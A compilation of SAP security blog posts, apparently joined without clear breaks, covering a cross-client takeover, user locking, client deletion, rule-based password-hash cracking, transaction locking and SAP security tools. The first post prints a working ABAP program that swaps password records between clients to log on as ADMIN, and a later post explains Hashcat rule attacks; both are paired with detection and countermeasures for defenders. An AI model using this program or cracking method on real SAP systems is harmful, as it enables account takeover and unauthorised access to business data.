Most people underestimate how easy it is to gain access from one client to another client. This blog will explain how easy it is to do it.
Questions that will be answered in this blog are:
How to execute a cross client access hack?
How to detect this attack?
What preventive measures should I take to prevent this in my systems?
Cross client hack explained
You have gained access to a maintenance client by any method (most easy is standard users: see blog on this topic). Some basis and security people will waive this away and say: “by having access to client 066 the hacker cannot do anything, since the real business data is stored into a different client”.
So what the hacker will do is simple open the system client for ABAP coding (SCC4 client opening works from any client). Then he loads this simple program:
REPORT ZSWAPUSER.
data: zls_usr02_1 type usr02.
data: zls_usr02_2 type usr02.
data: zls_usr02_t type usr02.
parameters p_uname1 type usr02-bname.
parameters p_mandt1 type sy-mandt.
parameters p_mandt2 type sy-mandt.
select single * from usr02 client specified into zls_usr02_1 where bname eq p_uname1 and mandt = p_mandt1.
select single * from usr02 client specified into zls_usr02_2 where bname eq p_uname1 and mandt = p_mandt2.
zls_usr02_t = zls_usr02_1. zls_usr02_t-mandt = p_mandt2. modify usr02 client specified from zls_usr02_t.
write sy-subrc.
zls_usr02_t = zls_usr02_2. zls_usr02_t-mandt = p_mandt1.
modify usr02 client specified from zls_usr02_t.
write sy-subrc.
In the source client hacked a new user will be created. Let’s say the user ADMIN, which is also existing in the target client. The hacker creates the user ans sets the password in the source client he has access to. Now he runs the program. The program simply reads the password cross client (yes, ABAP can do cross client reading and updating), and then swaps them…..
After the swap the hacker will logon to the target client with the password he has set and enjoys all the roles from the user ADMIN. After he is done, he simply runs the program again. Then the old password is put back again.
Detecting this attack
Detecting this attack directly is very difficult. There are traces:
Client opening and closing in the source client
The presence of the ABAP code
The ABAP action in the source client’s audit log (you did switch on the audit log in all clients, didn’t you? And if you didn’t read this blog how to do it and execute it!)
ADMIN access from same terminal as the hacker is using to logon to the source client
Preventive measures
The following preventive measures can be taken:
Reset all standard passwords in all systems in all clients (see blog)
Delete no longer needed clients 001 and 066 (see blog)
There are 2 good reasons for mass locking and ending validity date of user: security and licenses.
Questions that will be answered in this blog are:
How can I mass lock users automatically if they have not logged on for a certain time?
How can I mass set the validity date of the users that did not log on for a certain time?
Automatic lock of user after expired logon
In RZ11 you can set parameter login/password_max_idle_productive with an amount in days.
If the user (including yourself) did not logon to the system after this amount of days the password is still valid, but it does not allow you to logon.
If the user tries to logon after the period he will see this error message and cannot continue:
In SU01 such a user looks like this:
If you also want to automatically lock users after you give them a new password, use the parameter login/password_max_idle_initial.
Initial passwords is one of the nice ways of entering a system as hacker. Especially if the initial password used by the admin is more or less the same (like Welcome_1234!). Countermeasure: instruct your admins to use the Password Generator. This will generate long random once off password.
Mass setting of user validity date
For user measurement and security reasons you want to limit the validity period as well. Users who are locked still count for user measurement (see blog on license measurement tips & tricks). Users locked and unlocked by some method can be security threat.
Standard SAP program RSUSR_LOCK_USERS (built on top of program RSUSR200) is the tool to achieve this.
It has quite a long selection screen:
On the first block set the dates for last logon and password change to get a good selection of users.
On the second block very important to only select Dialog Users.
First run with Test Selection to get a list. If you are happy with the list, run it with Set End Of Validity Period.
OSS notes
Performance and bug notes (OSS search hints RSUSR200 and RSUSR_LOCK_USERS):
How to test the deletion before executing in a productive environment?
Why delete clients 001 and 066?
The clients 001 and 066 had a purpose in the past and do not have them any more.
The only thing they do now is pose a security threat. Access can be gained to these clients, for example via standard SAP users, and from these client you could take over the system via a cross client attack. Background on client 066 can be found in OSS note 1897372 – EarlyWatch Mandant 066 – Can Client 066 be deleted?.
Also unwanted batch jobs might be still running from these clients consuming resources.
The deletion can be tested on a development and QA system before it is done on productive system. If really in doubt copy the productive system to a different system and perform the deletion there first as a test.
This blog series will explain the process of hacking SAP password hashes: also know as SAP password hacking. The process of hacking will be explained and appropriate countermeasures will be explained.
In this fourth blog we will continue with more complex attacks on the SAP password hashes and will also explain more preventive measures.
For the first blog on attacking the SAP BCODE hash click here.
For the second blog on attacking the SAP PASSCODE has click here.
For the third blog on attacking the SAP PWDSALTEDHASH has click here.
Questions that will be answered in this blog are:
How does the rule based attack work?
How to use the rules on found passwords?
Where to find good rule books?
The rule based attack
The dictionary rule book attack is using the dictionary as input and then applies rules to the dictionary to generate a new password candidate.
Example words we will use are Password and Welcome.
Examples of apply some rules:
Replace a with @ will give P@ssword
Replace o with 0 will give Passw0rd and Welc0me
Replace s with $ will give Pa$$word
Replace l with ! will give We!come
All rules above combined will give P@$$w0rd and We!c0me
For full list of possible rule syntax see Hashcat site on rule-based attack.
Suppose we have guessed one correct password for one user. He made the password Welcome1!.
Now we will construct some rules:
Replace e with 3, rule will be se3
Replace l with 1 and l with !, rules will be sl1 and sl!
What has happened here? Why is this found now, and not before with the se3 rule, which should substitute the e with 3? Pretty simple: replace e with 3 in word Welcome1! will give W3lcom31!. So it replaces all and not first one. This is there background of having many rules.
Huge rulesets
With the Hashcat download you get a special directory called rules. Here there are some big rulesets available.
The nicest one is the RockYou list of rules. This is constructed based on the RockYou password list hacked in 2009 where 32 million passwords leaked. Based on English dictionary somebody has constructed the rules to come to most of these passwords.
Effectiveness of the attack
The effectiveness of the rule based attack is quite high. If you have found 1 password, you just run the complete ruleset of one of the huge lists to find multiple variations. People are not so inventive and creative. You will be surprised on the amount of password variations you find on the following words:
Welcome
Summer
Winter
Password
Apple
Android
Google
Hackers don’t start with the full dictionary. They start with the top 1000 words and apply many rules to them. From the passwords found they will start to derive patterns of the users. Any new password is processed through many new rules to generate candidates with higher potential.
The name and or abbreviation of a company is word number 1 to add to the favorite word list.
Further optimization of the attack speed
For optimizing the attack speed, read the fifth blog on SAP password hash hacking here.
Prevention measure 1: frequent change and large change per time
Many companies have implemented a more faster cycle of password changes. In the past once per year was common. Nowadays 60 to 90 days is more common practice. Set this in profile parameter: login/password_expiration_time.
More important is to make a larger change per time the password changes. This is to avoid the rule-attacks explained above to become very effective. How many people just simply change and increase single digit in password? Or increase the special with the next one on the keyboard. Set the profile parameter login/min_password_diff to sufficiently high value of 3 or more.
Prevention measure 2: length
Explain to your users that length is more important than complexity by using this famous explanation:
Prevention measure 3: stronger hashes
Stronger hashes simply take more time to crack. To set stronger hashes, read this dedicated blog.
Next blog on password hacking
The fifth blog on password hacking is about optimizing the attack speed. Read on in the blog. And the blog on extended word lists.
Running after transports and running in productive system
When you transport a role some changes might end up into the roles being updated, but the user comparison is not done. The end result is that the assigned authorization does not work, and you might get lots of complaints.
In oss note 571276 – PFCG: Transport of roles, SAP explains regarding the cleanup option: “If you schedule the user comparison in a way that means that there might be time overlaps with role imports, you should always deactivate the “Cleanups” option. Otherwise, imported profile data might be deleted.” and “The cleanup is not a security issue, so it does not have to be active for every comparison. Experience shows that it is sufficient to execute it once a week. However, it must be scheduled so that no role import is in progress at the same time.”.
That’s why it is wise to run the program behind PFUD, RHAUTUPD_NEW, in each system on daily or bi-daily basis without the cleanup option. And run it once per week in the weekend with the cleanup option enabled.
The new solution has 2 locking transactions: SM01_DEV for client independent locking and SM01_CUS for client dependent locking.
SM01_DEV locking transaction
Start tcode SM01_DEV:
In this example we will lock transaction SE30_OLD. On the next screen select the transaction and press the lock button. Fill out the transport number. End result:
When starting SE30_OLD you now get this error message:
SM01_CUS locking transaction
In this example we want to lock transaction S_ALR_87012271. The start screen is identical to SM01_DEV. If you want to lock the transaction you get a popup screen in which you can differentiate for WinGui or non WinGUI.
The transaction will be locked, but not be put into a transport. If you want to transport the lock, you have to use the transport button.
After locking tcode S_ALR_87012271 and starting it you get this message now:
The transaction is now only locked in the local client. If you have more client or want a full central lock, then you have to run SM01_CUS from client 000.
Differences SM01_DEV and SM01_CUS
Differences between the 2 transactions:
SM01_DEV locks global and has mandatory transport
SM01_CUS locks per client and has an optional feature to transport
Overview of locked transactions
Program RSAUDITC can be used to get an overview of all locked transactions.
This blog will explain how you can optimize your process of security notes via System Recommendations.
Questions that will be answered are:
What is the System Recommendations tool?
How do I set up the System Recommendations tool?
How do I deal with the results of the System Recommendations tool?
Where to find even more information on the System Recommendations tool?
What is the System Recommendations tool?
System Recommendations is a tool that runs in SAP solution manager. It weekly check SAP for new security notes and compares it with your own system. New notes will be alerted as new in the System Recommendations list. Notes you have applied will be removed from the list.
This automated procedure save you a lot of time checking for and follow up on security notes.
Alternative in SAP Focused Run
SAP Focused Run has a superior alternative for checking security notes with it’s Configuration and Security validation tool. Read more in this blog.
Setting up System Recommendations
If solution manager is properly setup, system recommendations is already enabled.
To verify if the system recommendations job is running start transaction SOLMAN_SETUP and select Mandatory Configuration and then Basic Configuration. Then select in the roadmap on top step number 2 and look for the system recommendations job, which will typically run every week:
Adding a system to System Recommendations
In SOLMAN_SETUP goto the managed system configuration of the system you want to add to system recommendations.
Select the full configuration for the system. On the roadmap select step 5: Enter System Parameters. On the screen below tick the box for Enable System Recommendations:
Now the system is added you need to wait until the weekly job runs.
System recommendations result
In solution manager goto the System Recommendations tile:
Upon clicking you get the list of systems and OSS notes per category:
Now you can zoom in for example on the security notes:
Per OSS note you can keep track of the status:
Dealing with the list
Some notes you can implement via SNOTE automatically. After they are implemented (normally via transport import if you run System Recommendations against productive system) they will be gone with the next run of system recommendations.
Some notes depend on kernel patch: also here, you can mark the status as to-be-implemented and wait for the actual implementation of the kernel patch.
Some notes might be non-relevant: you can mark them and they will no longer show in the open list of security notes.
DB and OS versions
The security notes will pickup all the database and OS versions for security notes, even if you don’t run them. To reduce the list goto transaction SM30 and maintain the content of table AGSSR_OSDB:
Flag the unused Databases and OS to Inactive and they will be filtered away next run.
More features
System recommendations function has more features. If you want to read all of them, please read the SAP full document. You need to use transaction SM30_DNOC_USERCFG_SR to configure these settings.
OSS note backbone settings
If you have issues updating most recent notes, or anything at all, please check in transaction SM30_DNOC_USERCFG_SR. Make sure there is no entry there for SYSREC_RFC_CALL. If it is there delete it. This is due to the SAP technical backbone change.
In SAP solution manager there is a free out-of-the-box tool available to quickly scan for security items in your system: the Security Optimization Service.
Questions that will be answered in this blog are:
How to run the Security Optimization Service?
How does the questionnaire work?
How does a sample result look like?
How to run Security Optimization Service
In solution manager 7.2 go to the tile Active Sessions for Service Delivery:
You now arrive in the sessions overview screen:
If you are first time using: hit the button Content Update to fetch the latest content from SAP. When done, you are ready to run.
Select the button create to make a new service. From the list choose the option SAP Security Optimization:
There might be multiple. In that case select this one (the others won’t work):
Then select the system for which you want to run the service. Do this by clicking the Add button in the Technical System section:
Finish the roadmap. After the final step the detailed roadmap will appear:
In the first step select the logon and test the connection:
In the next step you need to assign a questionnaire:
If you run the SOS before you can re-use or change the template. The first time you need to create the questionnaire:
In the questionnaire you can maintain whitelist. In the example above user from the basis team is added to the list of system administrators. These users will no longer appear in the report as exceptions.
If you have a recent run, you can select it here. If no run is present, hit the button Schedule new ST14 analysis run. Pending on your system size and speed the run will take between 5 and 60 minutes. If the run is finished select the run and complete the roadmap.
The SOS session is now scheduled.
Authorizations
You need authorizations in the backend system for ST14. If that is missing you get this message:
Usually the run is done overnight and you can fetch the results next day. Go to the active services tile, select your run and go to the column Documents. Click on the document to get the results.
Example of an SOS report can be found at this URL.
Follow up
If you find issues: solve them and rerun the report.
If you find many users with too many rights: start to revoke the rights and rerun the report.
If you find basis and authorization staff in the list with rights they should have, add their user ID’s to the corresponding section in the questionnaire, and rerun the report.
In general it will take a few runs to come to a more cleaned up system.
This blog will explain the use of security policies in user maintenance.
Questions that will be answered are:
Why to use security policies?
How to setup security policies?
How to assign a security policy to a user?
Why to use security policies?
Security policies can be used to set more strict password rules on critical user ID’s like the system administrators, user administrators and background users. This is one of the measures to avoid password attacks as explained in the password hash hacking blogs.
How to setup security policies?
Security policies can be setup in customizing under the following node (or by using transaction SECPOL):
On the next screen create the needed security polices as definition (identifier and description):
Select one of the policies, to set the detailed attributes per policy:
In this example the policy for ADMIN is set more strict than the system settings. Setting it less strict than the password rules set in the system profile is not allowed.
Assign security policy to user
In SU01 on the tab Logon Data you can now assigned the appropriate Security Policy for the user:
There is a second use case for security policies: in the new netweaver releases you can set parameter to lock out users for maintenance rather than locking them in SU01 or SU10. For more information read this blog.
